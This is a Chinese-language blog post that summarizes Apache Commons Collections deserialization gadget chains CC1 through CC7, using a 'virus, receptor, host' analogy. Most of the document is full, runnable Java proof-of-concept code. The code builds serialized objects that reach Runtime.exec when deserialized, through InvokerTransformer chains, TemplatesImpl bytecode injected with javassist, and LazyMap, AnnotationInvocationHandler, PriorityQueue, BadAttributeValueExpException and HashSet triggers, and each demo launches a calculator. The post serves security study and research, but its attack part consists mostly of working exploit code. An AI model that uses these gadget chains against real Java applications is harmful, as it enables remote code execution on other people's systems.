本文主要是对Apache CommonsCollections系列的利用方法进行了总结。由于网上已经有太多的分析文章,故未对技术原理做较深入的分析,仅仅是以总结方法为目的。
Apache CommonCollections1-7的利用方法总结如下:
- 第一步 准备病毒
- 第二步 寻找受体
- 第三步 病毒填充到宿主
关于第一步,主要有两种方法:
- ChainedTransformer 构造
- javassist动态编程生成一个执行命令的类。转化成byte[]类型,填充到某些类(TemplatesImpl)中的“_bytecodes”变量里
关于第二步,主要有两种方法:
- 三大Map:LazyMap,TiedMapEntry,HashMap ,对应第一步的第一种方法。
- TemplatesImpl类种的_bytecodes可被填充恶意类。对应第一步的第二种方法。
关于第三步,就是用反射把病毒填充到vulnerable的类中,readObject的时候触发病毒。
下面简单了解一下第一步的原理。
通过ChainedTransformer 构造病毒的demo:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ChainedTransformerTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
/*
* ConstantTransformer: Transformer implementation that returns the same
* constant each time.(把一个对象转化为常量,并返回)
*/
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" }) };
// Runtime.getRuntime().exec("calc");
/*
* ChainedTransformer: Transformer implementation that chains the specified
* transformers together. (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
*/
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}
最终 transform() 方法 会在Gnome桌面环境下的kali中弹出计算器。
关于为什么要用ChainedTransformer,引用《浅析 Java 序列化和反序列化》(当中的说法是“通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。”
通过javassist动态编程生成一个执行命令的类的demo:
import java.io.IOException;
import com.hans.CommonCollection2.CommonsCollections2.Placeholder;
import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;
public class Javassist {
public static class Hello {
public void say() {
System.out.println("Hello");
}
}
public static void main(String[] args) throws CannotCompileException, NotFoundException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
// TODO Auto-generated method stub
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(Placeholder.class));
cp.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass cc = cp.get(Hello.class.getName());
cc.setSuperclass(cp.get(Class.forName(AbstractTranslet).getName()));
// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
// 3.设置一个唯一性的class名称
cc.setName("com.hans.CommonCollections." + System.currentTimeMillis());
Class c = cc.toClass();
Hello h = (Hello)c.newInstance();
//h.say();
}
}
通过一个demo理解第二步的受体是干嘛的
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class ChainedTransformerTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
/*
* ConstantTransformer:
* Transformer implementation that returns the same constant each time.(把一个对象转化为常量,并返回)
* */
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
};
//Runtime.getRuntime().exec("calc");
/*
* ChainedTransformer:
* Transformer implementation that chains the specified transformers together.
* (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
* */
Transformer chainedTransformer = new ChainedTransformer(transformers);
// code execute;
//chainedTransformer.transform(null);
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
/*
* Map中的任意项的Key或者Value被修改,相应的Transformer(keyTransformer或者valueTransformer)的transform方法就会被调用。
* */
for (Iterator iterator = outMap.entrySet().iterator(); iterator.hasNext();){
Map.Entry entry = (Map.Entry) iterator.next();
entry.setValue("123");
}
}
}
在entry.setValue(“123”);处下断点,可以看到,当恶意的chainedTransformer通过decorate()方法填入Map对象后,在进行Map的setValue操作时,会触发transform()方法,触发代码执行。

但是受体的setValue()方法也是需要触发的,因此需要一个可以通过readObject()触发病毒的宿主。
由于CommonsCollections 1-7思路都差不多,都可以套公式(三步走),所以只分析CommonsCollections1,其他的 用上面提到的方法过一下。
下面看具体代码。
CommonsCollections1.java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
/*第一步 准备病毒*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*第二步 寻找受体*/
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
/*第三步 填充病毒*/
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
// 因为构造方法不是 public, 只能通过反射构造出来
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
//将恶意对象存储为字节码
FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.flush();
oos.close();
//读取恶意对象字节码并进行反序列化操作
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object evilObject = ois.readObject();
ois.close();
}
}
在 ois.readObject(); 处下断点。Object obj = readObject0(false); 跟进

TC_OBJECT条件跟进:

readSerialData(obj, desc);跟进

在这个方法里就是遍历处理Object对象
slotDesc.invokeReadObject(obj, this); 跟进,其他可以一路F6

直到进入我们的主角,宿主AnnotationInvocationHandler

果然在readObject中有对Map对象的操作。
当进入AnnotationInvocationHandler的invoke方法,跟进Object var6 = this.memberValues.get(var4);
嗯,然后就是触发病毒的transform()了。

图中 iTransformers 就是用反射填充进AnnotationInvocationHandler的恶意链。
这里的LazyMap其实就像是病毒的受体一样,就像是最近新冠病毒最先感染人的肺部一样。
而AnnotationInvocationHandler就像是人体一样,里面装的感染的LazyMap,执行序列化工作的时候就会触发肺部激活病毒。
三步总结:
- 准备病毒。利用ChainedTransformer制造出可以执行代码的对象
- 寻找受体。把病毒填充到LazyMap,这个LazyMap就行人的肺部一样,作为病毒受体。
- 填充病毒。把受感染的肺用反射的技术装到宿主(AnnotationInvocationHandler)上。
下面用这个方法把 2-7的POC概括一下:
CommonsCollections2.java
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollections2 {
public static class Placeholder {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
/*第一步 准备病毒*/
// 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
// 满足条件5:恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
//Javassist包中建立一个容器
ClassPool classPool = ClassPool.getDefault();
//添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
classPool.insertClassPath(new ClassClassPath(Placeholder.class));
classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
//从Classpath中寻找自定义的恶意模板类StubTransletPayload,引入它,之后对它进行修改
CtClass placeholder = classPool.get(Placeholder.class.getName());
placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
// 3.设置一个唯一性的class名称
placeholder.setName("com.hans.CommonCollection2." + System.currentTimeMillis());
// 4. 把我们的自定义的恶意类转化成byte数组模式
byte[] bytecode = placeholder.toBytecode();
/*第二步 寻找受体*/
// 动态获取 TemplatesImpl 对象
Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
// 反射的方式修改对象
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "hans");
/*第三步 病毒填充到宿主。*/
// InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args)
// comparator 是后续方法调用的参数。
InvokerTransformer<?, ?> invokerTransformer = new InvokerTransformer<Object, Object>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator<?, ?> comparator = new TransformingComparator<Object, Object>((Transformer<? super Object, ? extends Object>) invokerTransformer);
PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
queue.add(1);
queue.add(1);
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] innerArr = (Object[]) field.get(queue);
innerArr[0] = templates;
innerArr[1] = templates;
field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);
// 宿主被填充进 PriorityQueue
field.set(queue, comparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser"));
oos.writeObject(queue);
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
javassist 动态生成病毒,TemplatesImpl作为受体,PriorityQueue作为宿主。
CommonsCollections3.java
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
public static class Placeholder implements Serializable {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
/*第一步 准备病毒*/
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(CommonsCollections3.Placeholder.class));
classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass placeholder = classPool.get(CommonsCollections3.Placeholder.class.getName());
placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
placeholder.setName("demo.rmb122." + System.currentTimeMillis());
byte[] bytecode = placeholder.toBytecode();
/*第二步 寻找受体*/
Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "hans");
/*第三步 病毒填充到宿主。*/
/* 这一步把三步又走了一遍 */
/*3.1 准备载体*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName(TrAXFilter)),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*3.2 寻找受体*/
// 反射的方法获取一个lazyMap
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
/*第三步 病毒填充到宿主。*/
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser"));
oos.writeObject(obj);
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
这一步的话,可以理解为先往细胞(chainedTransformer)内的组织(InstantiateTransformer)填充了病毒,再把受感染的细胞填充到肺部(LazyMap),最后反射到宿主(AnnotationInvocationHandler)。
更像是1和2的综合利用。
CommonsCollections4.java
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollections4 {
public static class Placeholder {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
/*第一步 准备病毒*/
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(Placeholder.class));
classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass placeholder = classPool.get(Placeholder.class.getName());
placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
placeholder.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
placeholder.setName("demo.rmb122." + System.currentTimeMillis());
byte[] bytecode = placeholder.toBytecode();
/*第二步 寻找受体*/
Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
// 修改templates的_bytecodes变量
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
// 修改templates的_name变量
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "rmb122");
/*第三步 病毒填充到宿主。*/
/* 这一步把三步又走了一遍 */
/*3.1 准备*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName(TrAXFilter)),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*3.2 */
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
/*3.3 */
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] innerArr = (Object[]) field.get(queue);
innerArr[0] = templates;
innerArr[1] = templates;
field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser"));
oos.writeObject(queue);
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
和CommonsCollections3的思路一模一样,就是技术细节略有不同,宿主由AnnotationInvocationHandler换成了PriorityQueue。
CommonsCollections5.java
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollections5 {
//JDK8
public static void main(String[] args) throws Exception {
/*第一步 准备病毒*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*第二步 寻找受体*/
HashMap<String, String> hashMap = new HashMap<String, String>();
Map<?, ?> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
/*第三步 病毒填充到宿主。*/
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
// invoke method should have parameter and return value, tiedMapEntry is parameter ,badAttributeValueExpException is return value.
field.set(badAttributeValueExpException, tiedMapEntry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
oos.writeObject(badAttributeValueExpException);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
ois.readObject();
ois.close();
}
}
可以看到,公式带进去,变的只有宿主(BadAttributeValueExpException)。
CommonsCollections6.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.nqzero.permit.Permit;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
/*第一步 准备病毒*/
String command = "gnome-calculator";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
/*第二步 寻找受体*/
final Map innerMap = new HashMap();
//创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
/*第三步 受体填充到宿主。*/
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
//取出HashSet对象的成员变量map
Permit.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
//取出HashMap对象的成员变量table
Permit.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
//取出table里面的第一个Entry
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
Permit.setAccessible(keyField);
keyField.set(node, entry);
FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections6.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
万变不离其中,中学数学老师常说的话。即使POC不太一样,最后思路还是一模一样,LazyMap被包裹在了TiedMapEntry里,最后被反射到宿主(HashSet)身上。
CommonsCollections7.java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
/*第一步 准备病毒*/
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
};
/*第二步 寻找受体*/
Transformer[] fake = new Transformer[]{
new ConstantTransformer("placeholder"),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
HashMap innerMap1 = new HashMap<String, String>();
innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
HashMap innerMap2 = new HashMap<String, String>();
innerMap2.put("zZ", "1");
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
/*第三步 病毒填充到宿主。*/
HashMap hashMap = new HashMap();
hashMap.put(lazyMap1, "placeholder");
hashMap.put(lazyMap2, "placeholder");
// 在 put 的时候产生碰撞, 根据上面的分析调用 LazyMap.get, LazyMap 会将结果存入 innerMap 中缓存, 所以这里需要将其清除, 否则 hashcode 就不一样了
// 清除 hash code
innerMap1.remove("zZ");
// 同上, 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(hashMap);
oos.flush();
oos.close();
FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections7.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}
和之前6个又不太一样,病毒是在最后反射阶段,宿主都已经构建完成了,再反射进宿主的器官当中。三步走的思路还是适用的。
勤洗手可以预防病毒。
参考:
原理
https://paper.seebug.org/792/
https://badcode.cc/2018/03/15/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommons-Collections/
https://mp.weixin.qq.com/s/XSv3GNkj-23JKl6ccUjxRQ
POC
https://xz.aliyun.com/t/7157
https://www.freebuf.com/articles/web/214096.html